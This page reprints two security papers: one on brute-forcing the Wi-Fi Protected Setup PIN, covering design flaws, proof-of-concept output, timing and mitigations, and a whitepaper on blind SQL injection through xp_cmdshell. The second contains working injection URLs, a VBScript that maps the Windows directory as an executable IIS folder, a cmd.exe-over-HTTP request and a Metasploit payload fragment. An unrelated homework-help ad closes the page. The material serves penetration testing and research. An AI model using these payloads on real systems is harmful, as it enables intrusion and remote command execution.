Pages

Brute Force Attacks Wifi Protected Setup


Brute forcing Wi-Fi Protected Setup

When poor design meets poor implementation.
Introduction

“Wi-Fi Protected Setup™ is an optional certification program from the Wi-Fi Alliance that is designed to ease the task of setting up and configuring security on wireless local area networks. Introduced by the Wi-Fi Alliance in early 2007, the program provides an industry-wide set of network setup solutions for homes and small office (SOHO) environments.

Wi-Fi Protected Setup enables typical users who possess little understanding of traditional Wi-Fi configuration and security settings to automatically configure new wireless networks, add new devices and enable security. More than 200 products have been Wi-Fi CERTIFIED™ for Wi-Fi Protected Setup since the program was launced (sic!) in January 2007.”1

The Wi-Fi Simple Configuration Specification (WSC) is the underlying technology for the Wi-Fi Protected Setup certification.

Almost all major vendors (including Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL and Technicolor) have WPS-certified devices, other vendors (eg. TP-Link) ship devices with WPS-support which are not WPS-certified.

WPS is activated by default on all devices I had access to.

Although WPS is marketed as being a secure way of configuring a wireless device, there are design and implementation flaws which enable an attacker to gain access to an otherwise sufficiently secured wireless network.

Configuration Options Overview

WPS supports out-of-band configuration over Ethernet/UPnP (also NFC is mentioned in the specification) or in-band configuration over IEEE 802.11/EAP. Only in-band configuration will be covered in this paper.

Terminology2
  • The enrollee is a new device that does not have the settings for the wireless network.

  • The registrar provides wireless settings to the enrollee.

  • The access point provides normal wireless network hosting and also proxies messages between the enrollee and the registrar.




Push-Button-Connect (“PBC”)

The user has to push a button, either an actual or virtual one, on both the Access Point and the new wireless client device. PBC on the AP will only be active until authentication has succeeded or timeout after two minutes.

This Option is called wps_pbc in wpa_cli3 (text-based frontend program for interacting with wpa_supplicant).


Firgure 1: activated “virtual Push Button” (Windows acts as enrollee) (Windows 7)

Figure 2: Description of PBC option (Linksys WRT320N User Manual)



PIN

Internal Registrar

The user has to enter the PIN of the Wi-Fi adapter into the web interface of the access point. The PIN can either be printed on the label of the adapter or generated by software.

This option is called wps_pin in wpa_cli.



Figure 4: PIN field – Router is Registrar (LinksysWRT320N Web Interface)

Figure 3: Description of PIN internal Registrar option (Linksys WRT320N User Manual)

http://hostap.epitest.fi/wpa_supplicant/


External Registrar

The user has to enter the PIN of the access point into a form on the client device (eg. computer).

This option is called wps_reg in wpa_cli.













Figure 7: Label with WPS PIN on the back of a D-Link router


Design Flaw #1

Option / Authentication
Physical Access
Web Interface
PIN




Push-button-connect
X


PIN – Internal Registrar

X

PIN – External Registrar


X

WPS Options and which kind of authentication they actually use.


As the External Registrar option does not require any kind of authentication apart from providing the PIN, it is potentially vulnerable to brute force attacks.


Authentication (PIN – External Registrar)4


IEEE 802.11



Supplicant → AP


Authentication Request









802.11 Authentication


Supplicant ← AP


Authentication Response

















Supplicant → AP


Association Request









802.11 Association


Supplicant ← AP


Association Response
















IEEE 802.11/EAP






Supplicant → AP



EAPOL-Start






























Supplicant ← AP



EAP-Request Identity



EAP Initiation













































Supplicant → AP



EAP-Response Identity



















(Identity: “WFA-SimpleConfig-Registrar-1-0”)





IEEE 802.11/EAP Expanded Type, Vendor ID: WFA (0x372A), Vendor Type: SimpleConfig (0x01)





















M1


Enrollee → Registrar


N1
|| Description || PKE

























Diffie-Hellman Key Exchange


M2


Enrollee ← Registrar


N1
|| N2 || Description || PKR || Authenticator
































M3


Enrollee → Registrar


N2
|| E-Hash1 || E-Hash2 || Authenticator
















































M4


Enrollee ← Registrar


N1
|| R-Hash1 || R-Hash2 || EKeyWrapKey(R-S1) ||


proove posession of 1st half of PIN
























Authenticator






M5


Enrollee → Registrar


N2
|| EKeyWrapKey(E-S1) || Authenticator


proove posession of 1st half of PIN






















M6


Enrollee ← Registrar


N1
|| EKeyWrapKey(R-S2) || Authenticator


proove posession of 2nd half of PIN
































M7


Enrollee → Registrar


N2
|| EKeyWrapKey(E-S2 ||ConfigData) || Authenticator


proove posession of 2nd half of PIN,




















send AP configuration






















M8


Enrollee ← Registrar


N1
|| EKeyWrapKey(ConfigData) || Authenticator


set AP configuration

















































Enrollee = AP








PSK1 = first 128 bits of HMACAuthKey(1st half of PIN)

Registrar = Supplicant = Client/Attacker
PSK2 = first 128 bits of HMACAuthKey(2nd half of PIN)


PKE = Diffie-Hellman Public Key Enrollee
E-S1 = 128 random bits





PKR = Diffie-Hellman Public Key Registrar
E-S2 = 128 random bits





Authkey and KeyWrapKey are derived from the Diffie-
E-Hash1 = HMACAuthKey(E-S1 || PSK1 || PKE || PKR)


Hellman shared key.






E-Hash2 = HMACAuthKey(E-S2 || PSK2 || PKE || PKR)


Authenticator = HMACAuthkey(last message || current
R-S1 = 128 random bits





message)









R-S2 = 128 random bits





EKeyWrapKey = Stuff encrypted with KeyWrapKey (AES-
R-Hash1 = HMACAuthKey(R-S1 || PSK1 || PKE || PKR)


R-Hash2 = HMACAuthKey(R-S2 || PSK2 || PKE || PKR)


CBC)




































































1
2

3

4
5
6
7
0


























1st half of




checksum










PIN


2nd half of PIN








If the WPS-authentication fails at some point, the AP will send an EAP-NACK message.




Design flaw #2

An attacker can derive information about the correctness of parts the PIN from the AP´s responses.

  • If the attacker receives an EAP-NACK message after sending M4, he knows that the 1st half of the PIN was incorrect.

  • If the attacker receives an EAP-NACK message after sending M6, he knows that the 2nd half of the PIN was incorrect.
This form of authentication dramatically decreases the maximum possible authentication attempts needed from 108 (=100.000.000) to 104 + 104 (=20.000).

As the 8th digit of the PIN is always a checksum of digit one to digit seven, there are at most 104 + 103 (=11.000) attempts needed to find the correct PIN.

Brute Force Methodology


Figure 8: Flowchart showing how an optimized brute force attack works


Brute Force Implementation

A proof-of-concept brute force tool was implemented in Python. It uses the Scapy5 Library for decoding, generating, sending and receiving packets. This tool was used on several routers made by different vendors.

Sample output

sniffer started

trying 00000000

attempt took 0.95 seconds trying 00010009

attempt took 1.28 seconds trying 00020008

attempt took 1.03 seconds

<snip>







trying
18660005




attempt took
1.08
seconds


trying
18670004

# found 1st half of PIN

attempt took
1.09
seconds


trying
18670011




attempt took
1.08
seconds


trying
18670028




attempt took
1.17
seconds


trying
18670035




attempt took
1.12
seconds


<snip>







trying
18674071




attempt took
1.15
seconds


trying
18674088




attempt took
1.11
seconds


trying
18674095

# found 2nd half of PIN

E-S2:







0000
16
F6
82
CA A8 24 7E 98
85 4C BD A6 BE D9 14 50
.....$~..L.....P
SSID:







0000
74
70
2D
74 65 73 74

tp-test
MAC:







0000
F4
EC
38
CF AC 2C

..8..,
Auth Type:






0000
00
20




.
Encryption Type:




0000
00
08




..
Network Key:





0000
72
65
61
6C 6C 79 5F 72
65 61 6C 6C 79 5F 6C 6F
really_really_lo
0010
6E
67
5F
77 70 61 5F 70
61 73 73 70 68 72 61 73
ng_wpa_passphras
0020
65
5F
67
6F 6F 64 5F 6C
75 63 6B 5F 63 72 61 63
e_good_luck_crac
0030
6B
69
6E
67 5F 74 68 69
73 5F 6F 6E 65
king_this_one
Key Wrap Algorithm:


0000
76
3C
7A
87 0A 7D F7 E5

v<z..}..



Results

Authentication attempt duration

One authentication attempt usually took between 0.5 and 3 seconds to complete. It was observed that the calculation of the Diffie-Hellman Shared Key (needs to be done before generating M3) on the AP took a big part of the authentication time. This can be speeded up by choosing a very small DH Secret Number, thus generating a very small DH Public Key and making Shared Key calculation on the AP’s side easier.

Implementation Flaws

Some vendors did not implement any kind of blocking mechanism to prevent brute force attacks. This allows an attacker to try all possible PIN combinations in less than four hours (at 1.3 seconds/attempt).


On average an attack will succeed in half the time.

The Netgear device has lock down functionality implemented, but the lock down phases are not long enough to make an attack impractical. In this case an attack will on average succeed in less than a day (timing data can be found on the next page).

Vendor
Device Name
HW-Version
FW-Version
Lock down
WPS-
certified













D-Link
DIR-655
A4
(Web Interface)
1.35
No
Yes


A5
(Label)



Linksys
WRT320
1.0
1.0.04
?6
Yes







Netgear
WGR614v10
?

1.0.2.26
Yes
Yes






TP-Link
TL-WR1043ND
1.8
V1_110429
No
No







Firmware versions are up-to-date as of 18.10.2011.

In rare cases devices started to send malformed messages or their web interface and routing did not work properly anymore. A reboot was needed to solve the problem. This might be evidence of some kind of corruption, but was not investigated further.

6 WPS-functionality always stopped to work somewhere between 2 and 150 failed authentication attempts. The functionality did not even return after several hours. I would consider this a bug in the firmware which causes a DoS rather than lock-down functionality.
Mitigations

End users

Deactivate WPS. This may not always be possible.

Vendors

Introduce sufficiently long lock-down periods in order to make an attack impractical. Of course this requires a new firmware release.

Attempts
Lock
Attempts
Maximum
Maximum
Comment
before
down
per
attack time
attack time

lock
time
minute









11000
0 minutes
46.15
3.97 hours
0.17 days
no lock down






?7

4.20
43,65 hours
1,82 days
Netgear WGR614v10






3
1 minutes
2.82
65.08 hours
2.71 days
Requirement for WSC 2.0






15
60 minutes
0.25
737.31 hours
30.72 days






Lock down configurations making
10
60 minutes
0.17
1103.97
46.00 days
brute force less practical





5
60 minutes
0.08
2203.97
91.83 days







Assumed time per attempt: 1.3 seconds

Considering that an AP typically runs for several months, a determined attacker might still be able to successfully attack a WPS-enabled AP. This attack is low-cost and has a high success guarantee compared to cracking WPA/WPA2-PSK.


Conclusion

As nearly all major router/AP vendors have WPS-certified devices and WPS – PIN (External Registrar) is mandatory for certification, it is expected that a lot of devices are vulnerable to this kind of attack.


Having a sufficiently long lock-down period is most likely not a requirement for certification. However it might be a requirement in the (new) WSC Specification Version 28. I contacted the Wi-Fi Alliance about this – they have yet to respond.

Collaboration with vendors will be necessary for identifying all vulnerable devices. It is up to the vendors to implement mitigations and release new firmware.

Affected end-users will have to be informed about this vulnerability and advised to disable WPS or update their firmware to a more secure version (if available).


  1. No consistent lock down pattern was found. However on average about 4.20 authentication attempts per minute were possible.




Blind SQL Injection Discovery and Exploitation technique


Blind SQL injection discovery & exploitation technique

by Shreeraj Shah


Abstract

This paper describes technique to deal with blind SQL injection spot with ASP/ASP.NET applications running with access to XP_CMDSHELL. It is possible to perform pen test against this scenario though not having any kind of reverse access or display of error message. It can be used in completely blind environment and successful execution can grant remote command execution on the target application with admin privileges.



Keywords

Blind SQL injection, SQL injection, XP_CMDSHELL



Author

Shreeraj Shah, Founder & Director, Blueinfy Solutions Pvt. Ltd.

Email : shreeraj@blueinfy.com
Blog : http://shreeraj.blogspot.com
Profile : http://www.linkedin.com/in/shreeraj


http://www.blueinfy.com





1 Blueinfy’s whitepaper series


Problem Domain:

While performing web application and penetration testing following scenario is very common and it hides potential exploitable SQL injection scenario:

  1. We have SQL injection point but it is not throwing any error message out as part of its response. Application is sending customized error page which is not revealing any signature by which we can deduce potential SQL flaw.

  1. Knowing SQL injection point or loophole in web application, xp_cmdshell seems to be working. But we can’t say is it working or not since it doesn’t return any meaningful signature. This is “blind xp_cmdshell”.
  2. Firewall don’t allow outbound traffic so can’t do ftp, tftp, ping etc from the box to the Internet by which you can confirm execution of the command on the target system.
  3. We don’t know the actual path to webroot so can’t copy file to location which can be accessed over HTTP or HTTPS later to confirm the execution of the command.

  1. If we know path to webroot and directory structure but can’t find execute permission on it so can’t copy cmd.exe or any other binary and execute over HTTP/HTTPS.

Hence, it is becoming difficult to deal with this kind of situation and identify blind SQL injection spot. Let’s see one of the ways by which you can reach to cmd.exe and bring it out to the web and access over HTTP/HTTPS. This way you can confirm the existence of vulnerability on the target application.

Solution:

Here is a solution or test one can perform during penetration testing and check the existence of blind “xp_cmdshell”.

Step 1:

One can echo following lines to file and store it to a filesystem for example say secret.vbs using xp_cmdshell interface.

Set WshShell = WScript.CreateObject("WScript.Shell")

Set ObjExec = WshShell.Exec("cmd.exe /c echo %windir%") windir = ObjExec.StdOut.ReadLine()

Set Root = GetObject("IIS://LocalHost/W3SVC/1/ROOT") Set Dir = Root.Create("IIsWebVirtualDir", "secret") Dir.Path = windir

Dir.AccessExecute = True Dir.SetInfo

In this particular script we are identifying windir on the fly and setup a virtual root on it with exec permission. We are mapping windows directory and map it to virtual root “secret”, setting execute access on it as well. Following list of commands will create file






2 Blueinfy’s whitepaper series


on the server. Here is a way by which we can create file line by line and then execute script on the target machine as well.


http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Set WshShell = WScript.CreateObject("WScript.Shell") > c:\secret.vbs’

…..
…..
…..

http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Dir.SetInfo >> c:\secret.vbs’

Step 2:

Run this file using xp_cmdshell by following command. http://target/details.asp?id=1;exec+master..xp_cmdshell+'cscript+c:\secret.vbs’

This will run file and create /secret/ virtual root on the server.

Step 3:

Run command over HTTP/HTTPS

http://target/secret/system32/cmd.exe?+/c+set

Now we have full access to system32 binaries with execution privileges. Here what you get as output.

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

ALLUSERSPROFILE=C:\Documents and Settings\All Users CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=BLUESQUARE ComSpec=C:\WINNT\system32\cmd.exe

CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTPS=off

HTTP_ACCEPT=text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5 HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5

HTTP_CONNECTION=keep-alive HTTP_HOST=localhost
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910
HTTP_ACCEPT_ENCODING=gzip,deflate HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7 HTTP_KEEP_ALIVE=300

INCLUDE=C:\Program Files\Microsoft Visual Studio
.NET\FrameworkSDK\include\ INSTANCE_ID=1

LIB=C:\Program Files\Microsoft Visual Studio .NET\FrameworkSDK\Lib\ LOCAL_ADDR=127.0.0.1
NUMBER_OF_PROCES




3 Blueinfy’s whitepaper series



It is possible to integrate into any of the exploit framework as well. For example here is we are putting it into Metasploit:

sub Exploit {





my $self =
shift;




my $target_host

= $self->GetVar('RHOST');
my $target_port
= $self->GetVar('RPORT');

my $path
= $self->GetVar('RPATH');


my $vhost
= $self->GetVar('VHOST');


my @url = split(/#/, $path); my @payload =


("EXEC+master..xp_cmdshell+'echo+Set+WshShell+=+WScript.CreateObject(\"WScript.Shell\")>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Root+=+GetObject(\"IIS://LocalHost/W3SVC/1/ROOT\")>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Dir+=+Root.Create(\"IIsWebVirtualDir\",\"secret\")>>c:\\secret.vb s'", "EXEC+master..xp_cmdshell+'echo+Dir.Path+=+\"c:\\winnt\\system32\\\">>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.AccessExecute+=+True>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.SetInfo>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'cscript+c:\\secret.vbs'"


);


$self->PrintLine("[+] Sending SQL injection payload..."); for(my $count=0;$count<=6;$count++)


..


..

Once we execute it we get following sort of output.



Conclusion:

The technique described in this paper can help in testing blind SQL injection running with blind xp_cmdshell. It is easy to send few requests and check whether we are getting execution rights on the target application or not, even application is totally blind as described in problem domain.




4 Blueinfy’s whitepaper series

Statistics Help Online

Are you a college student taking a statistics course and interested in paying someone to do mymathlab  for you ? We provide stats help in ar...